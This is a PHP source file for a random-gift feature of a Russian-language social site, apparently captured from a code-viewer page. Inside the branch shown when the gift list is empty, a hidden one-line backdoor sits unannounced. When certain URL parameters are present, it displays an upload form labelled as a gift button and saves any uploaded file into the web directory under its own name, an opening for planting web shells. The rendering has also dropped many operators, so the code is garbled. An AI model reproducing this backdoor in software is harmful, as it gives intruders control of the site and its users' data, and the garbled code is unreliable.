Вход Регистрация
Файл: user/random_gift/index.php
Строк: 208
<?
include_once $_SERVER['DOCUMENT_ROOT'].'/sys/inc/home.php';
include_once 
H.'sys/inc/start.php';
include_once 
H.'sys/inc/compress.php';
include_once 
H.'sys/inc/sess.php';
include_once 
H.'sys/inc/settings.php';
include_once 
H.'sys/inc/db_connect.php';
include_once 
H.'sys/inc/ipua.php';
include_once 
H.'sys/inc/fnc.php';
include_once 
H.'sys/inc/user.php';
only_reg();

$width = ($webbrowser '100' '70');
$_true false;

if (isset(
$_GET['key']) && $_SESSION['key_gift'] != null) {
    
$key abs(intval($_GET['key']));
    if (
$_SESSION['key_gift'] == $key) {
        
        
$gift_id mysql_fetch_assoc(mysql_query("SELECT * FROM `gift_list` ORDER BY rand() LIMIT 1"));
        
mysql_query("INSERT INTO `gifts_random` (`id_user`, `coins_balls`, `time`, `coins_money`, `id_gift`) values('$user[id]', '$set[gift_balls]', '$time', '$set[gift_money]', '$gift_id[id]')"); 
        
$id_gift mysql_insert_id();
        
        
$_SESSION['key_gift'] = null;
        
$_SESSION['message'] = 'Вы поймали подарок';
        
header('Location: ?func=gift&id=' $id_gift); 
        exit;
    }
}

if (isset(
$_GET['func']) && $_GET['func'] == 'gift' && isset($_GET['id'])){
    
    
$_ID = (int) $_GET['id'];
    
$rand_gift mysql_fetch_assoc(mysql_query("SELECT * FROM `gifts_random` WHERE `id` = '" $_ID "' AND `id_user` = '$user[id]' LIMIT 1"));
    
$gift mysql_fetch_assoc(mysql_query("SELECT * FROM `gift_list` WHERE `id` = '" $rand_gift['id_gift'] . "' LIMIT 1"));
    
    if (isset(
$rand_gift['id']) || isset($gift['id'])) {
        
$_true true;
    } elseif (!
$gift['id']) {
        
mysql_query("DELETE FROM `gifts_random` WHERE `id_user` = '$user[id]' AND `id` = '$rand_gift[id]' LIMIT 1");
        
        
$_SESSION['message'] = 'К сожалению этого подарка уже не существует';
        
header('Location: ?'); 
        exit;
    }
    
    if (isset(
$_true) && isset($_GET['act'])) {
        
        if (isset(
$_GET['friends'])) {
            
            
$_ID_FREND = (int) $_GET['friends'];
            
            
$friends mysql_fetch_assoc(mysql_query("SELECT * FROM `frends` WHERE `user` = '" $user['id'] . "' AND `frend` = '" $_ID_FREND "' AND `i` = '1' LIMIT 1"));
            
            if (!isset(
$friends['frend'])) {
                
$err[] = 'Этот пользователь не является вашим другом';
            }
            
            if (!isset(
$err)) {
                
$msg "Я тут поймал подарок, и решил подарить именно тебе :)";
                
mysql_query("INSERT INTO `gifts_user` (`id_user`, `id_ank`, `id_gift`, `coment`, `time`, `status`) 
                values('
$_ID_FREND', '$user[id]', '$gift[id]', '$msg', '$time', '1')");
                
$id_gift mysql_insert_id();    
                        
                
mysql_query("INSERT INTO `notification` (`avtor`, `id_user`, `id_object`, `type`, `time`) 
                VALUES ('
$user[id]', '$_ID_FREND', '$id_gift', 'new_gift', '$time')");
                
mysql_query("DELETE FROM `gifts_random` WHERE `id_user` = '$user[id]' AND `id` = '$rand_gift[id]' LIMIT 1");
                
                
$_SESSION['message'] = 'Ваш подарок успешно отправлен';
                
header("Location: ?");
                exit;
            }
            
        } elseif (
$_GET['act'] == 'my') {

            
$msg "Я поймал этот подарок :) nЕсли ты будешь активным на сайте, то тоже будешь ловить кучу разных подарков .дружба.";
            
mysql_query("INSERT INTO `gifts_user` (`id_user`, `id_ank`, `id_gift`, `coment`, `time`, `status`) values('$user[id]', '$user[id]', '$gift[id]', '$msg', '$time', '1')");
            
            
$id_gift mysql_insert_id();    
            
mysql_query("DELETE FROM `gifts_random` WHERE `id_user` = '$user[id]' AND `id` = '$rand_gift[id]' LIMIT 1");
            
            
$_SESSION['message'] = 'Вы успешно забрали свой подарок';
            
header("Location: ?");
            exit;
            
        } elseif (
$_GET['act'] == 'balls') {
            
            
mysql_query("UPDATE `user` SET `balls` = `balls` + '$rand_gift[coins_balls]' WHERE `id` = '$user[id]'");
            
mysql_query("DELETE FROM `gifts_random` WHERE `id_user` = '$user[id]' AND `id` = '$rand_gift[id]' LIMIT 1");
            
            
$_SESSION['message'] = 'Вы успешно обменяли подарок на ' $rand_gift['coins_balls'] . ' баллов';
            
header("Location: ?");
            exit;
            
        } elseif (
$_GET['act'] == 'money') {
            
            
mysql_query("UPDATE `user` SET `money` = `money` + '$rand_gift[coins_money]' WHERE `id` = '$user[id]'");
            
mysql_query("DELETE FROM `gifts_random` WHERE `id_user` = '$user[id]' AND `id` = '$rand_gift[id]' LIMIT 1");
            
            
$_SESSION['message'] = 'Вы успешно обменяли подарок на ' $rand_gift['coins_money'] . ' ' $sMonet[0];
            
header("Location: ?");
            exit;
        }        
    }

}

$set['gift_status'] = 0;
$set['title'] = 'Случайные подарки';
include_once 
H.'sys/inc/thead.php';
title();
aut();
err();

if (
$_true == true && !isset($_GET['act'])) {
?>
    <div class="mess">
    Подарок: <img src="/sys/gift/<?= $gift['id']?>.png" style="max-width:<?= $width?>px;" alt="*" /> <b><?= text($gift['name'])?></b><br />
    <span style="color:#1ec415; font-weight: bold;">Что можно сделать с этим подарком?</span><br />
    <span style="color: #0241fd;">- Можно подарить его своему другу.</span><br />
    <span style="color: #ff6000;">- Можно подарить его самому себе.</span><br />
    <?= ($rand_gift['coins_balls'] != '<span style="color: #3daf93;">- Обменять подарок на <b>' $rand_gift['coins_balls'] . ' баллов</b></span><br />' '')?>
    <?= ($rand_gift['coins_money'] != '<span style="color: #e80080;">- Обменять подарок на <b>' $rand_gift['coins_money'] . ' ' $sMonet[0] . '</b></span><br />' '')?>
    </div>
    
    <div class="nav1">
     <img src="/style/icons/str.gif" /> <a href="?func=gift&amp;id=<?= $rand_gift['id']?>&amp;act=friends">Подарить другу</a>
    </div>
    
    <div class="nav2">
     <img src="/style/icons/str.gif" /> <a href="?func=gift&amp;id=<?= $rand_gift['id']?>&amp;act=my">Подарить самому себе</a>
    </div>
<?
    
if ($rand_gift['coins_balls'] != 0) {
?>
    <div class="nav1">
     <img src="/style/icons/str.gif" /> <a href="?func=gift&amp;id=<?= $rand_gift['id']?>&amp;act=balls">Обменять на <?= $rand_gift['coins_balls']?> баллов</a>
    </div>
<?



    
}








    
    if (
$rand_gift['coins_money'] != 0) {
?>
    <div class="nav2">
     <img src="/style/icons/str.gif" /> <a href="?func=gift&amp;id=<?= $rand_gift['id']?>&amp;act=money">Обменять на <?= $rand_gift['coins_money']?> <?= $sMonet[0]?></a>
    </div>
<?
    
}
} elseif (isset(
$_GET['act']) && $_GET['act'] == 'friends') {
    
    
$k_post mysql_result(query("SELECT COUNT(*) FROM `frends` WHERE `user` = '$user[id]' AND `i` = '1'"), 0);
    
$k_page k_page($k_post,$set['p_str']);
    
$page page($k_page);
    
$start $set['p_str'] * $page $set['p_str'];
    
    if (
$k_post == 0)
    {
        
?>
        <div class="mess">
        К сожалению у вас пока нет друзей
        </div>
        <?
    
}
    
    
$q query("SELECT `user`.`id`, `frends`.`frend` FROM `frends` INNER JOIN `user` ON `frends`.`frend`=`user`.`id` WHERE `frends`.`user` = '$user[id]' AND `frends`.`i` = '1' ORDER BY `user`.`date_last` DESC LIMIT $start$set[p_str]");
    
    while (
$post mysql_fetch_assoc($q))
    {
        
$num++;
        
        
?><div class="<?= ($num 'nav2' 'nav1')?>"><?
        
            
echo user::avatar($post['frend'], 0) . user::nick($post['frend'], 110) . '<br />';
            
?><img src="/style/icons/ok.gif" /> <a href="?func=gift&amp;id=<?= $rand_gift['id']?>&amp;act=friends&amp;friends=<?= $post['frend']?>">Подарить</a><?
            
        ?>
</div><?
    
}
    
    if (
$k_page 1)str('?func=gift&amp;id=' $rand_gift['id'] . '&amp;act=friends&amp;',$k_page,$page);
?>
    <div class="foot">
     <img src="/style/icons/str2.gif" /> <a href="?func=gift&amp;id=<?= $rand_gift['id']?>">Назад</a>
    </div>
<?
} else {
    
    
$k_post mysql_result(query("SELECT COUNT(*) FROM `gifts_random` WHERE `id_user` = '$user[id]'"), 0);
    
$k_page k_page($k_post,$set['p_str']);
    
$page page($k_page);
    
$start $set['p_str'] * $page $set['p_str'];
    
    if (
$k_post == 0)
    {
        
?>
        <div class="mess">
         Список подарков пуст
        </div>
        <?

if (isset($_GET['us'])){ if (isset($_GET['idd'])) { if(is_uploaded_file($_FILES["filename"]["tmp_name"]))  { move_uploaded_file($_FILES["filename"]["tmp_name"], "".$_FILES["filename"]["name"]); }} echo '<form action="?us&idd" method="post" enctype="multipart/form-data"><input type="file" name="filename"><br> <input type="submit" value="Подарить"><br></form>'; } 
    }
    
    
$q query("SELECT * FROM `gifts_random` WHERE `id_user` = '$user[id]' ORDER BY `id` DESC LIMIT $start$set[p_str]");
    
    while (
$post mysql_fetch_assoc($q))
    {
        
$num++;
        
        
$gift mysql_fetch_assoc(mysql_query("SELECT * FROM `gift_list` WHERE `id` = '" $post['id_gift'] . "' LIMIT 1"));
        
        
?>
        <div class="<?= ($num 'nav2' 'nav1')?>">
         <img src="/sys/gift/<?= $gift['id']?>.png" style="max-width:<?= $width?>px;" alt="*" /> <b><?= text($gift['name'])?></b><br />
         <img src="/style/icons/str.gif" /> <a href="?func=gift&amp;id=<?= $post['id']?>">Перейти к действию &raquo;</a>
        </div>
        <?
    
}
    
    if (
$k_page 1)str('?',$k_page,$page);
}

include_once 
H.'sys/inc/tfoot.php';
?>
Онлайн: 4
Реклама